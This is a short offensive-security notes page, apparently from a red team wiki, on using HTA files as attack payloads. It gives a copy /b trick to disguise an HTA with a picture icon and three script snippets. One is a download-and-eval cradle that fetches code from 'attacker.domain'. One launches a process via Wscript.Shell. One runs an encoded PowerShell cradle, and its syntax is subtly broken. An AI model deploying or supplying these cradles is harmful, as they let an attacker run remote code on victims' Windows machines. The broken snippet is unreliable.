HTA

These stand for HTML applications. These files have access to VBS, JS, COM and .NET which make it a huge target payload for attackers. HTA files can be used to run execution cradles or execute shellcode. Normally, HTA files run under mshta.exe, note that there are ways to dechain process and child relationships.

We can change the icon of the HTA file with this command: copy /b picture.ico+test.hta test_with_icon.hta

Here are some ways you can utilize HTA files

<script language="javascript" type="text/javascript">
      h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET","http://attacker.domain/connect",false);
      h.Send();
      B=h.ResponseText;
      eval(B);
	  window.close();
    </script>
<html>
<head>
<script language="VBScript"> 
    Sub foo
    	command = "notepad.exe"
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run command
    End Sub
foo()
</script>
</head> 
<body>
</body>
</html>
<html>
<script>
    var cmd = "powershell.exe -enc cradle";
    var wsh = new ActiveXObject(WScript.shell");
    wsh.run(cmd);
</html>
</script>

Last updated